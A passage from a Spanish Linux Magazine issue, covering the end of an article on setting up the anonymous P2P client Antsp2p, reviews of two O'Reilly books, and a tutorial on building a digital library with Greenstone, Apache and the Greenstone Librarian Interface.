una fuente de comida sin saber en realidad dónde les está llevando. De una forma parecida, un par de Antsp2p vecino no sabe dónde encontrar un archivo, pero sabe cual es la mejor ruta hasta el siguiente nodo. Esta es la ruta que la mayoría de las peticiones van a seguir, y la que llevará al nodo hasta el archivo solicitado a través de un rastro de otros pares. Esta técnica evita que alguien desde un nodo rompa el cifrado de los paquetes que se reenvían desde esa máquina. Se usa el protocolo DH para el intercambio de las claves secretas de cifrado (véase el cuadro “Riesgos Potenciales de Seguridad”). Dentro de la red P2P los ordenadores se identifican por medio de números ID que se asignan a cada participante tras establecer con éxito un enlace. El principio básico de Antsp2p reside en el hecho de que nadie puede mapear una ID a una dirección IP. Si un vecino descarga un archivo de nuestro ordenador, puede que veamos la IP del ordenador y la ID que hace la petición, aunque el vecino y el nodo que hace la petición no suelen ser el mismo. El vecino es simplemente un intermediario y no tiene manera de ver la información que es reenviada por la máquina vecina, ya que dicha información está cifrada. Esto es lo que mantiene anónimo el intercambio de archivos en la red Antsp2p. Sin embargo, el anonimato tiene un precio: Antsp2p es bastante lento, y el número máximo de nodos está limitado.
Instalar y Configurar La versión beta de Antsp2p disponible en este momento en la página Web del proyecto [1] es la 1.4.7. La versión actual supone una instalación previa del entorno Java versión 1.5 [3]. Damos permisos de
Hormigas Cortafuegos Si nuestra máquina está ubicada detrás de un firewall debemos abrir los puertos 4567 y 4568 para permitir que entren los paquetes. Los usuarios de Suse pueden hacerlo directamente desde YaST.
30
Número 20
Figura 1: La interfaz gráfica de Antsp2p tras iniciarlo. Tenemos que esperar a que el programa encuentre un vecino antes de que podamos comenzar a buscar archivos.
ejecución al archivo descargado (puede que necesitemos hacerlo desde root) e iniciamos la instalación: nonumber chmod u+x U AntsP2P_Setup_ U beta1.4.7_p0.8.4.jar java -jar U AntsP2P_Setup_ U beta1.4.7_p0.8.4.jar
El cliente incluye un instalador muy adecuado basado en interfaz gráfica. El instalador nos pide en primer lugar que cerremos todos los programas activos antes de continuar (parecido a un instalador de Windows). El segundo paso es especificar el directorio de instalación de Antsp2p. Puede que encontremos alguna dificultad a la hora de establecer un enlace en el paso 3, pero esto no afecta a la instalación, aparte del mensaje de error que se muestra a la derecha. En el paso 4 el instalador nos pregunta si estamos de acuerdo con nuestra elección antes de comenzar la instalación en el paso 5. Por último, Antsp2p debería mostrar un mensaje de éxito. Para ejecutar la herramienta de intercambio de archivos nos ubicamos en el directorio con los archivos de instalación /home/user/ANtsP2P (en la mayoría de los casos) y cuando estemos allí, basta con teclear ./ANtsP2P.
WWW.LINUX- MAGAZINE.ES
Primer Contacto En primer lugar, un asistente de configuración basado en interfaz gráfica nos pide el idioma y el tipo de conexión que tenemos. El apartado de la dirección IP es algo más complicado: puede que la queramos dejar en blanco de momento. A continuación tecleamos una ruta para guardar los archivos descargados. Por último, seleccionamos el navegador que Antsp2p va a lanzar al abrir los enlaces, y ya está. La interfaz gráfica de intercambio de archivos se muestra en la Figura 1.
Reenvío de puertos Si su máquina está detrás de un router, éste tendrá generalmente una IP que usará para navegar por Internet, siendo esta misma dirección el punto de entrada a nuestra red de cualquier información que queramos descargar. En este caso, nuestra dirección IP sólo será válida dentro del entorno de la red local. Esto es malo si queremos que otros clientes P2P contacten con nosotros. En este supuesto, el router tiene que reenviar los datos desde los puertos requeridos por los paquetes recibidos en nuestra máquina local. Para mantener este proceso bajo control tendremos que configurar la interfaz de nuestro router. Para más detalles podemos verificar el manual del router o la página Web del fabricante. Muchos routers nos
Antsp2p • PORTADA
muestran una interfaz gráfica de configuración cuando tecleamos en nuestro navegador http://192.168.0.1 ó http://192.168.1.1. Tenemos que reenviar los puertos TCP 4567 y 4568 para Antsp2p (véase Figura 2). Si vamos a usar otro puerto distinto al 4567, el segundo puerto direcciona por defecto el puerto de salida más 1. Si tenemos intención de usar Antsp2p de manera regular durante un largo periodo de tiempo necesitamos conocer cómo administra dinámicamente las direcciones IP nuestro proveedor de Internet. Muchos proveedores comerciales de Internet asignan una nueva dirección IP vía DHCP a intervalos regulares (normalmente 24 horas). Esta actualización de la dirección IP puede interferir con la configuración de nuestro Antsp2p. Sin importar el tipo de router que tengamos, AntsP2P necesita una dirección IP visible del router en Internet. Para averiguar esta dirección sólo tenemos que navegar hasta una página de búsquedas, teclear my ip y abrir alguna de las páginas que obtenemos como resultado. Esa página nos indica la dirección IP visible que tiene nuestra máquina en Internet en ese momento. Tomamos nota de la dirección IP, ya que la necesitaremos luego para configurar Antsp2p.
Remember this address, y volvemos a la pestaña Hit Start Ants!
Bienvenido al Vecindario La cosa comienza a ponerse caliente. En primer lugar, aparee una ID de
diez dígitos en el cuadro ID. Un reloj en el cuadro justo abajo lleva el tiempo. La pestaña muestra ahora el mensaje Connected [Peers: n], donde n representa el número de nodos vecinos que ha encontrado el
Figura 2: El reenvío de puertos en los routers se configura generalmente a través de una interfaz Web.
¡Monten a sus Hormigas! Si echamos un vistazo a la interfaz gráfica de Antsp2p (véase la Figura 1), apreciamos dos pestañas tituladas Hit Start Ants! y Help. La primera pestaña nos muestra entre otras cosas el estado actual: Ant not running. El campo ID está vacío, y la dirección mostrada bajo el campo señala 0:0:0. Hora de montar a nuestras hormigas: tecleamos 4567 como puerto y pulsamos el botón Settings. Aparece una tercera pestaña al comienzo de la página que podemos pulsar para acceder al menú de configuración (véase Figura 3). La línea IP or hostname es importante, tecleamos nuestra dirección IP visible ahí. No debemos pulsar sobre el botón Update o el programa restablece la dirección IP local. En lugar de eso verificamos
Figura 3: Antes de ejecutar Antsp2p acudimos a la pestaña Settings para introducir nuestra dirección IP. No debemos pulsar el botón “Update”.
WWW.LINUX- MAGAZINE.ES
Número 20
31
PORTADA • Antsp2p
configurar el número máximo de vecinos, el número máximo de conexiones seguras permitidas o el número máximo de peticiones permitidas. Gracias a More search results podemos añadir más espacio de descarga para los archivos locales, mejorando de esta manera la velocidad de la red. Si pulsamos en Optimize Index le indicamos a Antsp2p que pare lo que sea que esté haciendo durante un minuto y que mejore el rendimiento del nodo mediante una optimización del índice local. Desafortunadamente, la red Antsp2p es tan lenta que esta ligera modificación apenas proporciona una mejora apreciable.
Conclusiones Figura 4: Como la red de intercambio aún no tenía demasiados usuarios en el momento de escribir este artículo, hay pocas cosas compartidas. En la mayoría de los casos sólo tenemos una fuente para cada archivo.
programa. Una aplicación de chat situada en su propia pestaña IRC nos facilita la búsqueda de pares. Esta aplicación nos lleva a una sala de chat con otros usuarios de Antsp2p, pero no es necesario hablar. Es simplemente la manera que tiene Antsp2p de conocer nuevas rutas hasta las direcciones IP. No hay que preocuparse, como nadie conoce la ID que corresponde a cada dirección IP, nuestro anonimato no se ve comprometido por la sesión de chat. El siguiente paso es ser paciente. Las hormigas son pequeños y ocupados insectos, pero Antsp2p es más parecido a una serpiente bajo hielo: puede llevarle bastante tiempo (hasta 20 minutos) antes de que contacte con el primer vecino. Este paso ha de completarse antes de que aparezcan otras pestañas como Downloads, Uploads y Search. A continuación la línea de estado nos indica que Your firewall is correctly configured. Ahora ya somos parte de la red Antsp2p y podemos lanzar búsquedas. Abrimos la pestaña Search, tecleamos nuestra clave de búsqueda y pulsamos Search by string. De nuevo, puede llevarnos un buen rato hasta que comiencen a aparecer los
32
Número 20
resultados (véase Figura 4), esto depende simplemente del número de pares que Antsp2p haya descubierto. Podemos pulsar el botón derecho del ratón para que aparezca el menú y seleccionar Download file (Create secure connection) from n, donde n es la ID del propietario del archivo. El archivo aparece entonces en la pestaña Downloads.
Suministro y Demanda Si dejamos Antsp2p ejecutándose durante un buen rato, el proceso se acelera algo, pero no debemos esperar que el intercambio anónimo de archivos pueda competir con Amule o Ktorrent de momento. Después de todo, normalmente sólo hay una fuente por cada fichero. Una aspecto destacable de Antsp2p es que la herramienta tiene una función de continuar. Esto nos permite reanudar las descargas desde donde las dejamos. La pestaña Upload nos indica si alguien está descargando alguno de nuestros archivos. Para compartir archivos simplemente los movemos al directorio de descarga que hayamos especificado. Antsp2p permite un ajuste fino. La pestaña Settings nos permite
WWW.LINUX- MAGAZINE.ES
Antsp2p está en el camino adecuado y su diseño parece prometer. La interfaz es muy amigable, y el futuro del intercambio de archivos probablemente se encamina hacia el anonimato. Dicho esto, nuestro primer acercamiento ha sido una experiencia discreta. Debemos ser muy pacientes para poder disfrutar realmente del intercambio de archivos con esta herramienta. Además, como casi a diario aparecen nuevas versiones beta de Antsp2p, posiblemente un lanzamiento más reciente solucione alguno de los problemas de rendimiento que hemos encontrado con la versión 1.4.7. Gwren, el desarrollador, vislumbra el proyecto en su conjunto desde una perspectiva a largo plazo: “No sé en qué acabará todo esto, pero estoy seguro de que la gente terminará encontrando el modo de intercambiar información de una manera segura y eficiente”. Hasta que encontremos la manera perfecta, ■ merece la pena probar Antsp2p.
RECURSOS [1] Página del proyecto Antsp2p: http:// antsp2p.sourceforge.net [2] Entrevista con Gwren en Slyck: http:// www.slyck.com/news.php?story=567 [3] Java Runtime Environment, Versión 1.5: http://java.sun.com/j2se/1.5.0/ download.jsp
Libros • EVALUACIÓN
Head Rush Ajax y Linux Server Hacks
LIBROS O’Reilly se caracteriza por ser una editorial que, además de publicar libros convencionales sobre tecnología y en especial sobre informática, gusta de romper moldes y tomar riesgos en cuanto a formatos y contenidos. Esto, como veremos, puede ser bueno y puede ser malo. POR PAUL BROWN
E
ste mes, en nuestra sección de evaluación, echamos un vistazo a dos ejemplos típicos de las colecciones atípicas de O’Reilly, las series Head Rush/Head First y Hacks…
HEAD RUSH AJAX Los Head Rush/ Head First son libros/tutoriales que pretenden transmitir conocimientos de manera rápida e intuitiva al lector. Utilizan un estilo ligero, con abundancia de ilustraciones, repasos y ejemplos acumulativos hasta llegar a la solución final. Este es el caso de Head Rush Ajax, según el subtítulo, una guía de aprendizaje cafeinada al mundo de las páginas web dinámicas (en inglés la oración anterior queda un poco mejor) e introduce al lector a la programación de servicios web con esta tecnología. En principio, el libro parece cumplir las expectativas que levanta: El paso es ligero y acelerado, a través de ejemplos seleccionados, se ilustran los problemas de las aplicaciones web tradicionales y se explica cómo Ajax puede ser la solución. Continúa con un proyecto sencillo (muy sencillo), que migra de servicio web tradicional (basado en PHP y reloads de página) a servicio web Ajax, y, honestamente, para el profano, aclara muy bien cuáles son los principios de esta tecnología, cómo se usa y para qué sirve. Las explicaciones claras, las ilustraciones a través de ejemplos y los ejercicios de repaso siguen todo a lo largo del libro… y
aquí es donde viene el problema: Personalmente, una vez había comprendido la esencia de Ajax, necesitaba algo más fuerte, más formal, no tan paternalista, pero claro, en este libro no lo encontré. No es el estilo Head Rush/First. Además, debido a la abundancia de cuadros, dibujos, flechas y esquemas, el ratio de información por página puede llegar a ser bastante bajo. Vamos, que poca miga para tanto pan. Además, según los autores, la repetición es uno de los pilares del aprendizaje. Estoy de acuerdo en el contexto de una clase con alumnos, pero en un libro, uno siempre puede volver atrás y releer ese capítulo donde te explican el concepto que has olvidado. ¡Es un libro! Sin embargo, con Head Rush… algunas veces me encontraba preguntándome: “Si esto ya lo han tocado ¿por qué me lo vuelven a explicar?” Los ejemplos en los siguientes capítulos, para mí, tendían a descafeinearse (en clara contradicción con lo que se anunciaba en la portada), más que por los ejemplos en sí, por mi ansia de aprender más de lo que me ofrecían. Desde luego esta línea de libros no es para el desarrollador hardcore. Para ser justos, tampoco lo pretende. Creo que el público ideal para este tipo de libro es el usuario que necesita una introducción rápida a la tecnología que aborda para un hack rápido en un pequeño proyecto. Y hablando de hacks… Autor: Brett McLaughlin Idioma: Inglés Formato: Tapa blanda, 413 páginas Editorial: O’Reilly ISBN: 0-596-10225-9 Precio: 39,95 euros
WWW.LINUX-MAGAZINE.ES
LINUX SERVER HACKS Volume Two La serie de Hacks de O’Reilly abarca una gran variedad de temas: desde Perl a la PSP, desde Amazon hasta Apache. En este caso, el volumen que voy a comentar es la segunda parte del popular Linux Server Hacks. Seamos claros desde el principio: ¿Le vale la pena al administrador de sistemas tener este volumen en su estantería? Sinceramente, sí. ¿Es un volumen imprescindible? Sinceramente, no. Los volúmenes de la serie Hacks son en esencia recetarios con soluciones autocontenidas a problemas discretos. De hecho, en el sitio de O’Reilly animan a los visitantes a enviar sus propios trucos con las siguientes palabras: ”¿Tienes una solución no obvia a un problema interesante? Remite tu hack y compártelo con otros en línea.” Y, claro, eso es fantástico para ti… si tienes el mismo problema. Los libros de Hacks aportan muchas soluciones directas a problemas concretos. Son ideales para encontrar la clave para ese obstáculo que se interpone entre tú y tu fin de semana, pero nunca podrán sustituir a un buen manual. El manual ideal debe contener todas las soluciones a todos los problemas del software que documenta. En los volúmenes de Hacks se documentan sólo los problemas con los que se ha encontrado el autor… y que ha podido resolver. Hay una gran diferencia. Lo que es más, algunos hacks propuestos, si bien interesantes, parecen no casar bien con los otros trucos del libro. Así ocurre con los trucos que versan sobre cómo introducir Linux en la sala de máquinas y cosas que evitar como novato, que de simples, más que hacks, parecen los consejos de la abuelita (la abuelita de los sysadmins, claro está). En resumen, creo que muchos de los libros de la serie Hacks valen la pena (al menos los que yo tengo la valen), pero no esperes ahorrar espacio en tu biblioteca, porque no pueden sustituir a los manuales. Autores: Bill von Hagen y Brian K. Jones Idioma: Inglés Formato: Tapa blanda, 456 páginas Editorial: O’Reilly ISBN: 0-596-10082-5 Precio: 29,95 euros
Número 20
33
PRÁCTICO • Greenstone
Construyendo Bibliotecas Digitales con Greenstone
EL COLECCIONISTA El paquete Greenstone te ayuda a construir tu propia biblioteca digital. POR CHI-YU HUANG
P
ublicar documentos en la web es sencillo, pero los bibliotecarios, documentalistas y otros expertos necesitan sistemas más sofisticados para organizar la información en colecciones digitales. Una opción es construir una red de notas e índices estáticos, aunque esta alternativa es demasiado poco flexible, requiriendo un incremento del trabajo y actualizaciones constantes. Otras colecciones digitales hacen uso de scripts caseros y otras herramientas propias, pero estas herramientas vuelven a necesitar un trabajo considerable y un mantenimiento continuo. Una opción para los usuarios de software libre que quieren construir colecciones digitales de una manera rápida y flexible es Greenstone. Greenstone es un conjunto de herramientas que pueden ser usadas para la construcción de nuestras propias bibliotecas digitales. Este software no sólo indexa nuestros documentos, sino que además proporciona un interfaz para la definición y organización de los metadatos. La herramienta Greenstone proporciona a los documentalistas y gestores de colecciones cierta ventaja en la tarea de crear librerías digitales elegantes y altamente estructuradas. En este artículo introduciremos el software para la generación de colecciones digitales Greenstone, y describiremos cómo instalarlo y configurarlo. Adicionalmente mostraremos cómo construir una biblioteca digital haciendo uso de un DVD que hemos creado a partir de un montón de artículos de Linux Magazine descargados de Internet y clasificados por número.
Qué es Greenstone Greenstone es un programa de biblioteca digital desarrollado en la Universidad de
34
Número 20
Waikato en Nueva Zelanda [1]. El paquete Greenstone proporciona una nueva forma de organizar, preservar y publicar información en Internet o en un CD/DVD. No se necesita de ningún software adicional para acceder a una colección de documentos Greenstone. Valdría con cualquier navegador web. Una biblioteca Greenstone puede gestionar gran cantidad de tipos diferentes de formatos de documentos, incluidos HTML, PostScript, PDF y MS-Word. De hecho, Greenstone no está limitado a documentos de texto, sino que además puede gestionar documentos de imagen, audio y vídeo. Esta herramienta consigue la indexación de todo el texto almacenado, permitiendo a los usuarios la búsqueda en el contenido de los documentos o en los metadatos almacenados, tales como el título y autor. Greenstone es además altamente configurable, permitiendo a los usuarios el diseño de la apariencia y del comportamiento de la colección, así como del interfaz web. La aplicación soporta múltiples lenguajes, incluidos el Árabe, Chino, Inglés, Francés, Maorí y Español entre otros. Puedes encontrar ejemplos de bibliotecas digitales desarrolladas con Greenstone en [2] y [3].
Preparación Greensone requiere de un servidor web y, naturalmente, Apache es el recomendado. Supondremos que el servidor web Apache ya está instalado y nos centraremos en cómo configurarlo para que funcione con la herramienta. Además, Apache está disponible para la mayoría
WWW.LINUX-MAGAZINE.ES
de las distribuciones Linux, y en todo caso se puede descargar de [5]. Otro de los requisitos de Greenstone es Perl. Para comprobar que Perl ya está instalado en nuestro sistema podemos abrir un terminal y escribir perl -v para ver si aparece un mensaje donde se indica la versión del intérprete. Como en el caso anterior, la mayoría de las distribuciones Linux vienen con una versión de Perl disponible. Nuestra aplicación se ejecuta en la mayoría de los Sistemas Operativos además de Linux, existiendo una versión para Solaris, Mac OS/X y Windows. De hecho, se podrá ejecutar en casi cualquier variante de Unix. Naturalmente para compilar Greenstone desde su código fuente en Unix, necesitaremos del compilador C/C++ de GNU (GCC) y, eso sí, del Gestor de Bases de Datos de GNU (GDBM).
Instalación Lo primero que hay que hacer para instalar Greenstone es descomprimir el fichero tar: $ tar xzvf gsdl-2.62-unix.tar.gz
La última versión tiene un instalador que nos guía pasa a paso por el proceso de instalación. Para ejecutar este instalador: $ cd gsdl-2.62-unix $ ./setupLinux.bin
El programa es instalado en /usr/local/gsdl por defecto, pero esto requiere de privilegios de administrador. De todas maneras es posible configurar la instalación para que ésta se produzca en el directorio home del usuario. Existen tres opciones diferentes de instalación:
Greenstone • PRÁCTICO
• Biblioteca Web (Web Library) • Código Fuente (Source Code) • Personalizada (Custom) Si seleccionamos la segunda opción, Código Fuente, el instalador copiará todos los ficheros necesarios en los directorios de destino. De esta manera podremos compilar el código fuente con: $ ./configure $ make && make install
El tiempo de compilación es variable, dependiendo de las características de la máquina. Si estamos usando una máquina Linux sobre un PC Intel x86 y es la primera vez que usamos Greenstone, se recomienda seleccionar la primera opción: Web Library, que es la que instalará los binarios ya precompilados. Esta opción sólo tardará unos minutos. Al final de la instalación, seremos consultados por una contraseña de administración.
Montando el Servidor Web Suponiendo que estamos usando el servidor Apache y que éste ya está en funcionamiento, seguramente necesitaremos los privilegios de administrador (root) para realizar los cambios que vienen a continuación. Como es costumbre, si no disponemos de dichos privilegios deberemos hablar educadamente con el administrador del sistema para que nos eche una mano. Otra opción sería instalar y ejecutar Apache como un usuario normal. El servidor web debe poder ejecutar el programa de biblioteca, que corresponde con la aplicación web de biblioteca de Greenstone. Usaremos la directiva ScriptAlias de Apache para configurar un directorio cgi-bin para nuestra aplicación. Esto lo haremos añadiendo las siguientes directivas al fichero de configuración de Apache, httpd.conf: ScriptAlias /gsdl/cgi-bin U “/home/myuser/local/gsdl/cgi-bin” <Directory U “/home/myuser/local/gsdl/cgi-bin”> Options None AllowOverride None </Directory>
Necesitaremos además configurar el directorio de Greenstone para que sea accesible por web, añadiendo la siguiente directiva Alias tras la directiva ScriptAlias de nuestro fichero de configuración:
Alias /gsdl U “/home/myuser/local/gsdl” <Directory U “/home/myuser/local/gsdl”> Options Indexes MultiVires U FollowSymLinks AllowOverride None Order allow, deny Allow from all </Directory>
Hay que fijarse en la referencia a /home/myuser/local/gsdl en las directivas anteriores. Es necesario cambiar este camino por el directorio donde tengamos instalado el programa Greenstone. Una vez reiniciado el servidor Apache, podemos acceder a Greenstone a través de nuestro navegador web y yendo a la dirección mostrada [6]. Podemos omitir el puerto de la URL si nuestro servidor web está funcionando en el puerto por defecto 80. Por otro lado, si estamos ejecutando Apache como un usuario no privilegiado y hemos modificado el puerto de acceso, deberemos especificarlo en la URL.
La Estructura de Greenstone La estructura de directorio de Greenstone es mostrada en la Figura 1. Cuando construimos una nueva colección ésta es creada en una nueva carpeta, llamada collection_name, en el directorio de colecciones de Greenstone /home/myuser/local/gsdl/collect. Cada colección contiene la misma estructura directorio y subdirectorios (ver Figura 1). En el directorio import es donde debemos localizar nuestro material original. El directorio archive contiene los resultados del proceso de importación. El directorio building es un directorio temporal usado durante el proceso de construcción de la colección. Su contenido es movido al directorio index una vez ha concluido el proceso. El directorio etc contiene la información de configuración de la colección, localizada principalmente en el fichero collect.cfg. El directorio images contiene las imágenes específicas de la colección. En el directorio perllib podemos encontrar los diferentes programas Perl específicos de la colección. Para obtener más información de la estructura de directorios del sistema Greenstone es necesario consultar la Guía de Usuario [8].
WWW.LINUX-MAGAZINE.ES
Figura 1: Estructura de una instalación Greenstone.
Construyendo con GLI Para poder empezar a ver cómo funciona realmente Greenstone, mostraremos cómo construir una colección de biblioteca digital haciendo uso de los archivos en DVD descargados de Linux Magazine. Hay que notar que esta colección es sólo para uso personal. Como norma general es importante asegurarnos de cumplir los requisitos de la licencia para cualquier material que publiquemos en formato biblioteca digital. Nos aseguramos de que el DVD está introducido en la unidad y que está montado. Necesitamos conocer dónde está el directorio de montaje. Por ejemplo, en Ubuntu el DVD se monta en /media/cdrom. Ahora podemos construir la colección usando el Interfaz de Biblioteca de Greenstone (Greenstone Librarian Interface – GLI). La GLI es una aplicación gráfica incluida en la distribución Greenstone que nos permite construir y adaptar nuestras colecciones de manera sencilla mediante el uso del ratón. GLI es una aplicación Java que necesita del Java Runtime Environment 1.4 de Sun. Para ejecutar GLI tenemos que escribir: cd /home/myuser/local/gli ./gli.sh
Cuando ejecutamos GLI por primera vez seremos consultados por la URL de nuestra biblioteca Greenstone, que como ya hemos comentado se encuentra localizada en [6]. GLI nos proporciona un entorno de tipo walkthrough para la construcción de
Número 20
35
PRÁCTICO • Greenstone
Figura 2: El interfaz de bibliotecario de Greenstone (GLI).
nuestras colecciones digitales. En este procedimiento los pasos básicos son: • • • •
Reunión de documentación (en los paneles Download y Gather) Asignación de metadatos (panel Enrich) Diseño de las estructuras de indexación y navegación Construcción de la colección
Para crear una nueva colección elegimos New en el menú File. Introducimos el nombre de la colección (sugerimos “Linux Magazine”) y una descripción antes de pulsar OK. Cuando nos pregunte por el tipo de metadatos a usar es conveniente seleccionar el conjunto de metadatos de Dublin Core. Podemos seleccionar documentos (o directorios completos de documentos) desde el panel de trabajo (Workspace, situado a la izquierda) y arrastrarlos hasta el panel de colecciones (Collection, a la derecha). El comportamiento de GLI es similar al de los gestores de ficheros usuales, permitiendo la copia y eliminación de ficheros de nuestra colección (Figura 2). Greenstone es capaz de extraer de manera automática la útil metainformación de los ficheros de documentos durante el proceso de construcción. Esta característica es realmente interesante cuando el documento contiene metadatos del tipo título, autor, temática o palabras clave. Puesto que los documentos de nuestro DVD no contienen este tipo de metadatos, GLI no podrá extraer nada demasiado útil de manera automática. Podemos, por otro lado, añadir la metainformación de manera manual en el panel destinado a esta tarea, Enrich. Los metadatos pueden ser tratados a nivel de carpetas o ficheros. La metainformación
36
Número 20
Figura 3: Las herramientas de diseño están disponibles desde el panel de Diseño.
asignada a una carpeta es heredara por todos los ficheros incluidos en ésta. Una vez copiados los documentos (o directorios) al área de colección, podríamos necesitar cambiar los permisos de los ficheros para lograr la correcta construcción de ésta: cd /home/myuser/local/gsdl/collect/U limuxmag/import chmod -R +w *
Ahora estamos listos para la construcción de la colección. Para este ejemplo, hemos copiado sólo los artículos de los números de 1 al 4. De esta manera lograremos disminuir el tiempo del proceso de construcción. Si deseamos trabajar con el archivo completo deberemos arrastrar todos los directorios, pero habrá que estar preparados a esperar un poco hasta que se complete todo el proceso de construcción. Para construir la colección sólo hay que ir al panel Create y pulsar sobre el botón Build Collection. Una vez esté finalizado, nuestra colección estará disponible para su acceso. Para poder verla en nuestro navegador web, deberemos pulsar sobre el botón Preview Collection. Como ya se ha comentado, en el caso de que existan metadatos, éstos serán extraídos automáticamente durante el proceso de construcción. En este caso hemos tenido que realizar algunos arreglillos de manera manual. Desde el panel Enrich hemos añadido el número de la publicación de Linux Magazine en el campo dc.Description a nivel de carpeta. Haciendo esto hemos logrado que todos los artículos de una misma publicación queden agrupados cuando se establezca una clasificación de navegación.
WWW.LINUX-MAGAZINE.ES
Hay que destacar que no existe un campo para ‘número de publicación’ en el conjunto de metadatos establecidos por Dublin Core. Es por eso por lo que hemos usado el campo dc.Description para almacenar dicha información. Adicionalmente, a nivel de fichero, hemos añadido la entrada para título en el campo dc.Title (en sustitución del poco útil valor encontrado automáticamente). Hemos añadido la sección de Linux Magazine (ej: Noticias Kernel, Práctico, Desarrollo) al campo de metadatos dc.Resource Identifier. El prefijo dc viene de Dublin Core, que corresponde con el estándar de metadatos adoptado por Greenstone. En Greenstone los documentos y las especificaciones de metadatos son importados por módulos software denominados plugins. Éstos permiten que la aplicación soporte diferentes formatos de documentos. Podemos añadir o eliminar plugins dependiendo de los documentos que tengamos en nuestra colección (los únicos obligatorios son GAPlug, ArcPlug y RecPlug). Puesto que el archivo de documento de Linux Magazine está compuesto principalmente por documentos PDF y HTML, los plugins más importantes para esta colección serían PDFPlug y HTMLPlug.
Indexado Greenstone permite la búsqueda de texto, por todo el cuerpo del documento de la colección, desde una ventana de navegación web. Podemos buscar por cualquier combinación de palabras o frases. Por defecto, las colecciones Greenstone vienen con tres índices de consultas: texto, título y fuente. Podemos cambiar los índices asignados a nuestra colección desde la sección
Greenstone • PRÁCTICO
Índices de Búsquedas del panel de diseño (Figura 4). También es posible eliminar el índice de fuente de nuestra colección Linux Magazine, puesto que hace referencia sólo al nombre del fichero del documento, y en este ejemplo no es un parámetro de búsqueda útil. Además hemos añadido el campo de metadatos dc.Title como un elemento para el índice de título. La Figura 5 muestra el interfaz de búsquedas para la búsqueda por títulos. Greenstone permite al usuario indicar términos de consultas más complejos. El interfaz de búsqueda avanzada puede ser adaptado desde la opción de Preferencias, localizada en la esquina derecha de nuestra página de la colección.
Clasificaciones de Navegación Greenstone permite a los usuarios navegar por los documentos de la colección. La estructura de la navegación es generada de manera automática a partir de los metadatos asociados a cada documento de la colección. Podemos establecer los clasificadores de navegación desde la opción de mismo nombre situada en el panel de diseño (Figura 6). Todos los clasificadores generan una estructura jerárquica que es usada para mostrar un índice de navegación. El nivel más bajo en dicha jerarquía corresponde normalmente a los documentos, pero podría estar constituida por secciones para algunos clasificadores. Existen varios tipos de clasificadores disponibles; para ver los detalles es mejor consultar la Guía de Desarrollo de Greenstone [7]. Para nuestra colección de Linux Magazine, hemos usado los clasificadores AZList y AZCompactList para establecer la estructura
de navegación. El clasificador AZList muestra los términos clasificados en orden alfabético, mientras que el clasificador AZCompactList agrupa los términos que aparecen repetidos en la jerarquía bajo un nuevo nodo, mostrado con un icono similar a una estantería. Los parámetros de clasificación (y sus opciones asociadas) de nuestra colección Linux Magazine son: • •
•
Para la navegación por título: AZList -metadata dc.Title Para la navegación por número de publicación: AZCompactList -metadata dc.Description -buttoname issue Para navegar por las secciones de Linux Magazine: AZCompactList -metadata dc.Resource Identifier -mingroup 1 -buttonname section
Al establecer la opción mingroup a 1 indicamos que el nodo de estantería debe ser creado al nivel más alto, aún cuando exista un solo ítem en el grupo. Desde el interfaz web de Greenstone podemos seleccionar una de las clasificaciones de navegación (por ejemplo: títulos, autor y práctico) pulsando sobre el icono correspondiente. Podemos configurar el icono de cada clasificación de navegación. Si no estamos conforme con los valores establecidos por defecto, podremos crear nuestros propios iconos. En nuestro ejemplo hemos creado nuevos iconos para las opciones de navegación de secciones y publicaciones. Es posible asociar estos iconos con sus respectivas clasificaciones añadiéndolos en la opción nombre del botón (buttonname, Figura 6). Mostraremos después cómo crear estos iconos de estilo similar a los de Greenstone.
Figura 4: Define los ajustes del índice en la sección de Índices de Búsquedas del panel de Diseño.
Características de Formato Las páginas web de la biblioteca Greenstone son generadas dinámicamente bajo demanda. Los comandos de formato se usan para poder cambiar la apariencia de dichas páginas, en especial en cómo son mostrados los documentos en la navegación y en la lista de resultado de búsquedas. Para poder manipular los comandos de formateo es necesario elegir las Características de Formato (Format Features) del panel de Diseño. Podemos hacer uso de etiquetas HTML, valores de metadatos (encerrados entre corchetes), algunos comandos propios de formateo de cadenas (ej: highlight, numleafdocs) y expresiones condicionales (cómo {If} o {Or}). El listado completo se encuentra en [7]. Podemos adaptar la estética de cada una de las clasificaciones de navegación. Por ejemplo, para el clasificador de navegación de Título, seleccionemos CL1:AList -metadata dc.Title desde la sección de Selección de Características (Choose Feature), y VList (determina el formato de la lista vertical de resultados de la búsqueda) del componente elegido. Nosotros hemos adaptado la apariencia usando para ello las siguientes sentencias de formato: <td valign=top>U [link][icon][/link]</td> <td>[srclink][srcicon]U [/stclink]</td> <td>[highlight]{Or}U {[dc.Title],[ex.Title],U Untitled}[/highlight] <br>[dc.Description]</td>
Figura 5: El interfaz para la búsqueda de títulos usando nuestra muy útil colección de ejemplo.
WWW.LINUX-MAGAZINE.ES
Número 20
37
PRÁCTICO • Greenstone
Figura 6: Configurando las clasificaciones de navegación desde el panel de Diseño.
Esta sentencia de formato nos mostrará un icono que enlaza a la versión Greenstone del documento, un icono que enlaza al documento original, el titulo y los detalles de publicación para cada documento en la lista de navegación A-Z de títulos (Figura 7). Con el clasificador de navegación por publicaciones (usando CL2:AZCompactList -metadata dc. Description en Choose Feature y VList en el componente seleccionado), hemos realizado el formateado con las siguientes sentencias: <td valign=top>U [link][icon][/link]</td> <td>{If}{[numleafdocs],U <b>[Title]([numleafdoc])</b>,U [srclink][srcicon][/srclink] <td>[highlight]{Or}U {[dc.Title],[ex.Title],U Untitle}[/highlight]U </td>}</td>
Con esto lograremos que los documentos queden agrupados bajo sus respectivas publicaciones, y mostraremos el número total de documentos para cada publicación. De manera similar, las opciones para el clasificador de navegación de secciones (seleccionamos CL3:AZCompactList -metadata dc-Resource Identifier en Choose Feature y VList para nuestro componente) son las que mostramos un poco más abajo. Aquí se ha añadido una opción adicional:
38
Número 20
Figura 7: Navegando por títulos en Greenstone.
<br>[dc.Description]. <td valign=top>U [link][icon][/link]</td> <td>{If}{[numleafdocs],U <b>[Title]([numleafdoc])</b>,U [srclink][srcicon][/srclink] <td>[highlight]{Or}U {[dc.Title],[ex.Title],U Untitle}[/highlight]<br>U [dc.Description]</td>}</td>
Cada una de las opciones y configuración anteriores pueden establecerse fácilmente desde la sección Format Features del panel de diseño de GLI. Las opciones de formatos pueden cambiarse sin necesidad de volver a reconstruir la colección.
